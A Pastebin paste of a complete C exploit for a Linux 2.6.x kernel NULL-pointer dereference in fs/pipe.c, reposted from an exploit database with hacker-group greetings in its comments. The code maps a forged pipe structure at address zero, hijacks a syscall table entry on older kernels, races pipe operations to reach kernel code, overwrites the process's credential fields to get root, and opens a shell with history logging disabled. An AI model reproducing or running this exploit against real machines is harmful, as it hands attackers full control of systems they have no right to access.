Guest User

ex

a guest
Oct 27th, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.77 KB | None | 0 0
  1. /*
  2. EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/33322/
  3.  
  4. source: http://www.securityfocus.com/bid/36901/info
  5.  
  6. Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.
  7.  
  8. Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
  9. */
  10.  
  11. /******************************************************************************
  12. * .:: Impel Down ::.
  13. *
  14. * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
  15. * by teach & xipe
  16. * Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
  17. * (hehe guyz, we would probably be high profile and mediatised el8 if we
  18. * lost less time on trolling all day long, but we LOVE IT :)))
  19. * Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
  20. * promise ivan, one day i'll kill u :p)
  21. *
  22. * (C) COPYRIGHT teach & xipe, 2009
  23. * All Rights Reserved
  24. *
  25. * teach@vxhell.org
  26. * xipe@vxhell.org
  27. *
  28. *******************************************************************************/
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <unistd.h>
  34. #include <fcntl.h>
  35. #include <signal.h>
  36. #include <stdint.h>
  37. #include <sched.h>
  38. #include <sys/types.h>
  39. #include <sys/utsname.h>
  40. #include <sys/stat.h>
  41. #include <sys/syscall.h>
  42. #include <sys/mman.h>
  43. #include <sys/personality.h>
  44.  
  45. /* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
  46.  
  47. // didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
  48.  
  49. #define PIPE_BUFFERS (16)
  50.  
  51. struct __wait_queue_head {
  52. int spinlock;
  53.  
  54. void *next, *prev; // struct list_head
  55. };
  56.  
  57. struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
  58. int magic;
  59. int fa_fd;
  60. struct fasync_struct *fa_next;
  61. void *file; // struct file
  62. };
  63.  
  64. // this iz the w00t about 2.6.11 to 2.6.31
  65. struct pipe_buf_operations {
  66. int suce;
  67. int *fptr[6];
  68. };
  69.  
  70.  
  71. // from 2.6.0 to 2.6.10
  72. struct pipe_inode_info_2600_10 {
  73. struct __wait_queue_head wait;
  74. char *base; // !!!!!
  75. unsigned int len; // !!!
  76. unsigned int start; // !!!
  77. unsigned int readers;
  78. unsigned int writers;
  79. unsigned int waiting_writers;
  80. unsigned int r_counter;
  81. unsigned int w_counter;
  82. struct fasync_struct *fasync_readers;
  83. struct fasync_struct *fasync_writers;
  84. };
  85.  
  86. // from 2.6.11 to 2.6.16
  87. struct pipe_buffer_2611_16 {
  88. void *suce;
  89. unsigned int offset, len;
  90. struct pipe_buf_operations *ops;
  91. };
  92.  
  93. struct pipe_inode_info_2611_16 {
  94. struct __wait_queue_head wait;
  95. unsigned int nrbufs, curbuf;
  96. struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
  97. void *tmp_page;
  98. unsigned int start;
  99. unsigned int readers;
  100. unsigned int writers;
  101. unsigned int waiting_writers;
  102. unsigned int r_counter;
  103. unsigned int w_counter;
  104. struct fasync_struct *fasync_readers;
  105. struct fasync_struct *fasync_writers;
  106. };
  107.  
  108. // from 2.6.17 to 2.6.19
  109. struct pipe_buffer_2617_19 {
  110. void *suce;
  111. unsigned int offset, len;
  112. struct pipe_buf_operations *ops;
  113. unsigned int tapz;
  114. };
  115.  
  116. struct pipe_inode_info_2617_19 {
  117. struct __wait_queue_head wait;
  118. unsigned int nrbufs, curbuf;
  119. struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
  120. void *tmp_page;
  121. unsigned int start;
  122. unsigned int readers;
  123. unsigned int writers;
  124. unsigned int waiting_writers;
  125. unsigned int r_counter;
  126. unsigned int w_counter;
  127. struct fasync_struct *fasync_readers;
  128. struct fasync_struct *fasync_writers;
  129. void *suce;
  130. };
  131.  
  132. // from 2.6.20 to 2.6.22
  133. struct pipe_buffer_2620_22 {
  134. void *suce;
  135. unsigned int offset, len;
  136. struct pipe_buf_operations *ops;
  137. unsigned int tapz;
  138. };
  139.  
  140. struct pipe_inode_info_2620_22 {
  141. struct __wait_queue_head wait;
  142. unsigned int nrbufs, curbuf;
  143. void *tmp_page;
  144. unsigned int start;
  145. unsigned int readers;
  146. unsigned int writers;
  147. unsigned int waiting_writers;
  148. unsigned int r_counter;
  149. unsigned int w_counter;
  150. struct fasync_struct *fasync_readers;
  151. struct fasync_struct *fasync_writers;
  152. void *suce;
  153. struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
  154. };
  155.  
  156. // AND FINALY from 2.6.23 to 2.6.31 ... :))
  157. struct pipe_buffer_2623_31 {
  158. void *suce;
  159. unsigned int offset, len;
  160. struct pipe_buf_operations *ops;
  161. unsigned int tapz;
  162. unsigned long tg;
  163. };
  164.  
  165. struct pipe_inode_info_2623_31 {
  166. struct __wait_queue_head wait;
  167. unsigned int nrbufs, curbuf;
  168. void *tmp_page;
  169. unsigned int start;
  170. unsigned int readers;
  171. unsigned int writers;
  172. unsigned int waiting_writers;
  173. unsigned int r_counter;
  174. unsigned int w_counter;
  175. struct fasync_struct *fasync_readers;
  176. struct fasync_struct *fasync_writers;
  177. void *suce;
  178. struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
  179. };
  180.  
  181.  
  182.  
  183. static pid_t uid;
  184. static gid_t gid;
  185. static int iz_kern2600_10;
  186. unsigned long taskstruct[1024];
  187. void gomu_gomu_nooooo_gatling_shell(void);
  188. int get_kern_version(void);
  189. void map_struct_at_null(void);
  190. void get_cur_task_and_escalate_priv(void);
  191. void* get_null_page(void);
  192. void error(char *s);
  193. int is_done(int new);
  194.  
  195. static inline void *get_4kstack_top()
  196. {
  197. void *stack;
  198.  
  199. __asm__ __volatile__ (
  200. "movl $0xfffff000,%%eax ;"
  201. "andl %%esp, %%eax ;"
  202. "movl %%eax, %0 ;"
  203. : "=r" (stack)
  204. );
  205. return stack;
  206. }
  207.  
  208. static inline void *get_8kstack_top()
  209. {
  210. void *stack;
  211.  
  212. __asm__ __volatile__ (
  213. "movl $0xffffe000,%%eax ;"
  214. "andl %%esp, %%eax ;"
  215. "movl %%eax, %0 ;"
  216. : "=r" (stack)
  217. );
  218. return stack;
  219. }
  220.  
  221. static inline void *get_current()
  222. {
  223. void *cur = *(void **)get_4kstack_top();
  224. if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
  225. return cur;
  226. else
  227. cur = *(void **)get_8kstack_top();
  228. return cur;
  229. }
  230.  
  231.  
  232.  
  233. void map_struct_at_null()
  234. {
  235. struct pipe_inode_info_2600_10 *pipe2600_10;
  236.  
  237. struct pipe_inode_info_2611_16 *pipe2611_16;
  238.  
  239. struct pipe_inode_info_2617_19 *pipe2617_19;
  240.  
  241. struct pipe_inode_info_2620_22 *pipe2620_22;
  242.  
  243. struct pipe_inode_info_2623_31 *pipe2623_31;
  244.  
  245. struct pipe_buf_operations luffy;
  246.  
  247.  
  248. FILE *f;
  249. unsigned int *sct_addr;
  250. unsigned int sc_addr;
  251. char dummy;
  252. char sname[256], pipebuf[10];
  253. int ret, i;
  254. void *page;
  255.  
  256. page = get_null_page();
  257. int version = get_kern_version();
  258.  
  259. luffy.suce = 1;
  260. for(i = 0; i < 6; i++)
  261. luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
  262.  
  263. // ok lets go ...
  264. if(version >= 2600 && version <= 2610)
  265. {
  266. iz_kern2600_10 = 1;
  267.  
  268. /* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
  269. * i don't bother to restore it after owning the kernel. implement it if u want :p
  270. */
  271.  
  272. // hehe as u see, his imperial majesty spender haz alwayz good trickz
  273.  
  274. f = fopen("/proc/kallsyms", "r");
  275. if (f == NULL)
  276. {
  277. f = fopen("/proc/ksyms", "r");
  278. if (f == NULL)
  279. {
  280. error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
  281. }
  282. }
  283.  
  284. ret = 0;
  285. while(ret != EOF)
  286. {
  287. ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
  288. if (ret == 0)
  289. {
  290. fscanf(f, "%s\n", sname);
  291. continue;
  292. }
  293. if (!strcmp("sys_call_table", sname))
  294. {
  295. printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
  296. fclose(f);
  297. }
  298. }
  299.  
  300. if(f != NULL)
  301. {
  302. fclose(f);
  303. error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
  304. }
  305.  
  306. sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
  307.  
  308. pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
  309. memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
  310. pipe2600_10->base = pipebuf;
  311. pipe2600_10->len = 0;
  312. pipe2600_10->start = 0;
  313. pipe2600_10->writers = 1;
  314. printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
  315.  
  316. }
  317.  
  318. else if(version >= 2611 && version <= 2616)
  319. {
  320. pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
  321. pipe2611_16->writers = 1;
  322. pipe2611_16->nrbufs = 1;
  323. for(i = 0; i < PIPE_BUFFERS; i++)
  324. pipe2611_16->bufs[i].ops = &luffy;
  325. printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
  326. }
  327.  
  328. else if(version >= 2617 && version <= 2619)
  329. {
  330. pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
  331. pipe2617_19->readers = 1;
  332. pipe2617_19->nrbufs = 1;
  333. for(i = 0; i < PIPE_BUFFERS; i++)
  334. pipe2617_19->bufs[i].ops = &luffy;
  335. pipe2617_19->wait.next = &pipe2617_19->wait.next;
  336. pipe2617_19->wait.spinlock = 1;
  337. printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
  338. }
  339.  
  340. else if(version >= 2620 && version <= 2622)
  341. {
  342. pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
  343. pipe2620_22->readers = 1;
  344. pipe2620_22->nrbufs = 1;
  345. for(i = 0; i < PIPE_BUFFERS; i++)
  346. pipe2620_22->bufs[i].ops = &luffy;
  347. pipe2620_22->wait.next = &pipe2620_22->wait.next;
  348. pipe2620_22->wait.spinlock = 1;
  349. printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
  350. }
  351.  
  352. else if(version >= 2623 && version <= 2631)
  353. {
  354. pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
  355. pipe2623_31->readers = 0;
  356. pipe2623_31->nrbufs = 0;
  357. for(i = 0; i < PIPE_BUFFERS; i++)
  358. pipe2623_31->bufs[i].ops = &luffy;
  359. pipe2623_31->wait.next = &pipe2623_31->wait.next;
  360. pipe2623_31->wait.spinlock = 1;
  361. printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
  362. }
  363.  
  364. else
  365. error("errrr! exploit not developped for ur kernel!");
  366.  
  367.  
  368.  
  369. }
  370.  
  371. int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
  372. {
  373. struct utsname buf;
  374. char second[2],third[3];
  375. int version = 2000;
  376. if(uname(&buf) < 0)
  377. error("can't have ur k3rn3l version. this box isn't for today :P\n");
  378. sprintf(second, "%c", buf.release[2]);
  379. second[1] = 0;
  380. version += atoi(second) * 100;
  381.  
  382. third[0] = buf.release[4];
  383. if(buf.release[5] >= '0' || buf.release[5] <= '9')
  384. {
  385. third[1] = buf.release[5];
  386. third[2] = 0;
  387. version += atoi(third);
  388. }
  389. else
  390. {
  391. third[1] = 0;
  392. version += third[0] - '0';
  393. }
  394.  
  395. printf("\t\t+ Kernel version %i\n", version);
  396.  
  397. return version;
  398.  
  399. }
  400.  
  401. // from our g0dz spender & julien :] lullz
  402. void* get_null_page(void)
  403. {
  404. void *page;
  405. if ((personality(0xffffffff)) != PER_SVR4)
  406. {
  407. page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  408. if (page != NULL)
  409. {
  410. page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  411. if (page != NULL)
  412. {
  413. error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
  414. }
  415. }
  416. else
  417. {
  418. if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
  419. {
  420. free(page);
  421. error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
  422. }
  423. }
  424. }
  425. else
  426. {
  427. // may be we are lucky today ... :)
  428. page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  429. if (page != NULL)
  430. {
  431. page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  432. if (page != NULL)
  433. {
  434. error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
  435. }
  436. }
  437. else
  438. {
  439. if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
  440. {
  441. free(page);
  442. error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
  443. }
  444. }
  445. }
  446. printf("\t\t+ Got null page\n");
  447. return page;
  448. }
  449.  
  450. void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
  451. {
  452. char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
  453. char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null",
  454. "HISTORY=/dev/null", "history=/dev/null",
  455. "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
  456.  
  457. execve("/bin/sh", argv, envp);
  458. error("hheeeehhh! unable to spawn a sh");
  459. }
  460.  
  461.  
  462.  
  463. int is_done(int new)
  464. {
  465. static int done = 0;
  466. if (done == 1)
  467. return (1);
  468. done = new;
  469. }
  470.  
  471. volatile int done = 0;
  472.  
  473. void get_cur_task_and_escalate_priv()
  474. {
  475. uint32_t i;
  476. uint32_t *task = get_current();
  477. uint32_t *cred = 0;
  478.  
  479.  
  480. for(i=0; i<0x1000; i++)
  481. {
  482. if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
  483. {
  484. task[i] = 0;
  485. task[i+1] = 0;
  486. task[i+2] = 0;
  487. task[i+3] = 0;
  488. is_done(1);
  489. return;
  490. }
  491. }
  492.  
  493. for (i = 0; i<1024; i++)
  494. {
  495. taskstruct[i] = task[i];
  496. cred = (uint32_t *)task[i];
  497. if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
  498. cred++; /* Get ride of the cred's 'usage' field */
  499. if (cred[0] == uid && cred[1] == gid
  500. && cred[2] == uid && cred[3] == gid
  501. && cred[4] == uid && cred[5] == gid
  502. && cred[6] == uid && cred[7] == gid)
  503. {
  504. /* Get root */
  505. cred[0] = cred[2] = cred[4] = cred[6] = 0;
  506. cred[1] = cred[3] = cred[5] = cred[7] = 0;
  507. break;
  508. }
  509. }
  510. }
  511. is_done(1);
  512. }
  513.  
  514. int main(int ac, char **av)
  515. {
  516. int fd[2];
  517. int pid;
  518. char tapz[4];
  519.  
  520.  
  521. uid = getuid();
  522. gid = getgid();
  523. setresuid(uid, uid, uid);
  524. setresgid(gid, gid, gid);
  525.  
  526. map_struct_at_null();
  527.  
  528. //while (1)
  529. {
  530. pid = fork();
  531. if (pid == -1)
  532. {
  533. perror("fork");
  534. return (-1);
  535. }
  536. if (pid)
  537. {
  538. char path[1024];
  539. /* I assume next opened fd will be 4 */
  540. sprintf(path, "/proc/%d/fd/4", pid);
  541. while (!is_done(0))
  542. {
  543. fd[0] = open(path, O_RDWR);
  544. if (fd[0] != -1)
  545. {
  546. if(iz_kern2600_10)
  547. {
  548. memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
  549. write(fd[0], tapz, 4);
  550. }
  551. close(fd[0]);
  552. }
  553. }
  554. if(iz_kern2600_10)
  555. {
  556. syscall(__NR_olduname, NULL);
  557. }
  558. printf("\t\t+ Got root!\n");
  559. gomu_gomu_nooooo_gatling_shell();
  560. return (0);
  561. }
  562.  
  563. while (!is_done(0))
  564. {
  565. if (pipe(fd) != -1)
  566. {
  567. close(fd[0]);
  568. close(fd[1]);
  569. }
  570. }
  571. }
  572. }
Add Comment
Please, Sign In to add comment